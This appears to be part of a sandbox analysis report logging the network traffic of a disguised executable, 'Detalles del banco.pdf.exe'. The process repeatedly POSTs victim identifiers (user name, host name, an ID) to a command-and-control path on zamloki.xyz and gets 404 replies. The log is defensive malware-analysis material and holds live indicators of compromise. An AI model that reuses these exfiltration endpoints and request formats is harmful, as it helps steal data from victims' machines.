Jul 27, 2021 22:08:25.944315910 CEST	7078	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:26.210163116 CEST	7079	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pdZhoF0v%2Bc2LRxGn%2F7fVXBHdFyjLPYcEH%2BhpV9%2BdqIyKogsL1k1wLfNR5qG5Qsc3XxRQmmawIPH8Kk1vf2rgj%2F3J0mv6Oa1HdzPeSl%2BEaF%2F6io4Vh5c1JCW%2BE%2Fwprg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fea0b694eeb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	49848	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:26.484885931 CEST	7080	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:26.515446901 CEST	7080	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:26.760999918 CEST	7081	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=53tsWW7RY1NSAWO1LTtM7r3BOLLDEWoPtldQG0%2Fq61ThyxhFLiVsZLLjocyJf%2FRAloVoCctiyf2OUqfBL%2BVxiQgA6geitgLGyCGAzif2%2F5%2FJ%2FgmPAHxmGFccWcQ8UQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fed9df44e6e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	49849	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:27.052258968 CEST	7082	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:27.078303099 CEST	7082	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:27.452069998 CEST	7083	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EiKHB%2FNOFm2yHJdvzBn6Ddv%2BQ9uBlqnwp25Uo0m2s%2ByV6ENXz%2FotG2b6pVrF4rEDbBZF4OHi7TUc2sYPJ4nrTt4jGhqulBtegqdCch2HOOxVg%2FYYSB9WPFSl7ubSCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ff11d0ce00b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.6	49850	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:27.727507114 CEST	7084	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:27.755502939 CEST	7084	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:28.026746035 CEST	7085	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ut3LCsqsFckhhn0h%2FByy%2Bghd7zUAIdzEkEybzWFGYbG0VrwYbdufJyz278kvMrs61Vx66Ep3A9GRM2ieL3ViFCAm8Hl8%2FFO1Z7xpMMw2BYYDVQckzYc%2F2gkCYRHQvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ff55df2dfbf-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	49851	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:28.309001923 CEST	7086	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:28.336261988 CEST	7086	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:28.587783098 CEST	7087	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fQPBe%2FoAxmc0kRy9%2BeLKgXUqDrVboXLR54pYlRgU3GWW8ls0r%2FWxE42XhFZrGN6jjFRoyhkW7ouCOET%2B9EsPCCZSQNBJ9nvOcfbkbMIzp5b660gcWD%2FY7q0BoKpgXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ff8fa8d1762-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.6	49852	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:28.847563982 CEST	7088	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:28.875937939 CEST	7088	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:29.125948906 CEST	7089	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ik2y7wyi5bJ0aXSqOt82QQIXkix4053C2%2FLutlvVgKOwhSiYC8dyTjmMCrhnK9JYIvSGZghPGfI7Q6QVpY4wjwESNYXpk6sWE6bkmwknBruhp3HyGIUq0Mu3ipxYMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ffc5a1cd711-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	49853	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:29.415045977 CEST	7089	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:29.441782951 CEST	7090	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:29.704580069 CEST	7090	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zgGx5PTbPP9CmU7wRU9q9JM5ckMeVDCRD5SYt8YphjQHg%2FdVjNpYkFtXITp1RmnbrKiSHvWb%2FlmbzF%2BsTYhqYrZ%2Fg%2F8fHoEFpVk%2BrCUnXv%2FwnEihPOqw%2FiisJju4aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587fffea0f97b4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49740	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:24.715614080 CEST	1634	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:24.744735003 CEST	1634	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:25.017573118 CEST	1643	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0bRWKUX%2BfZQNfcwISmO75wQQ%2Fu8CT3dL5W2055uli6US7Q7vj6E6E%2BFWRyMPDtNTA%2BBzYhuI6l8P10xwrG3BSSGIcjWhs1ZbjWyL3WOftBtCEM7uBhyAHHI6G6fkqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e6b8b7805dc-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.6	49854	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:29.945983887 CEST	7091	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:29.973944902 CEST	7092	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:30.244978905 CEST	7092	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j1FEYPY6Wje21yfRgSnXZ88%2FT3NzPBEZ1Yooj5OnF1ORio%2FCKoBQjM9q2p5llztWih0%2Bhp0%2BuASnyIj1ryiwXMeHWEqkNLgc%2BFrz4UUYLnYEdSlB0TXfg3Rdkk%2FWZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6758800339834a67-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.6	49855	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:30.499687910 CEST	7093	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:30.528789997 CEST	7093	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:30.795625925 CEST	7094	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WV2UOqXxOjBq%2BEeoHamNQQ81AGS0QYNtmuo3vJa2t5AUtMabhpRh1cQGcTGA%2BplKXJHRYQZducFG%2BiRGbm4iV23FXSFTD3rzrCJNmuzjfjw%2F3gfD%2BdlwGwlZyDbyYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67588006bbdc0631-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.6	49856	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:31.077857971 CEST	7095	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:31.103584051 CEST	7095	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:31.351310968 CEST	7096	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lFGT52PLyN%2FcuNsGYHIe9bBQYzH0oPFE1P%2BaL4jVNti1RX%2FgEZO4nedUGSMh%2BFRCCEt2TBjwOC32JHxaQPavAg0LPQPBPWY1%2FcTXl%2Fnn%2FSsrV7GR4JPL5jpahyLhIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6758800a4ca94e6d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.6	49857	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:31.656078100 CEST	7097	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:31.684477091 CEST	7097	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:31.943689108 CEST	7098	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=P3s%2BRKaATdTocgksBaShozZsptH51OaaU7Ik%2Br5%2BwVnxUt%2BCF1aZ%2FankDpM20T7kpux%2BrIN9er%2FOwTSeB4K53WdClHAd%2B98Ca6MXJVJX2qZ%2BVGFX1WrSoWNvcA%2B7BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6758800dea8b4dc4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.6	49858	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:32.207091093 CEST	7099	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:32.235323906 CEST	7099	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:32.541083097 CEST	7100	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=It6uojlnTYm4yzcBg6IlFiOB2tvSft1LUAza8M4yWuPMPFkhFYxnXtyxm0VQmgS7dd12E3zQLbXYOTVmHTMd38VHRqOn84i3UQ4nsYYv7KYxPQfokg8jozkrJFkJXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 675880115fe34e3e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.6	49859	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:32.896637917 CEST	7101	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:32.926991940 CEST	7101	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:08:33.232789993 CEST	7102	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:08:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mx0KQEhFQ7vf9nBB8DaCZKGax%2BU1Hlz5rrpuFCVJAjuCNsNsZzGxGh3F8G49bltdatdeftBXngwEojwCLvbZT9CVdpXh3FCuFOCDNTzH15%2F%2FdGCBFKF23GpXGNmxTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67588015aacb4e7f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.6	49860	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:08:33.507827044 CEST	7103	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:08:33.534135103 CEST	7103	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
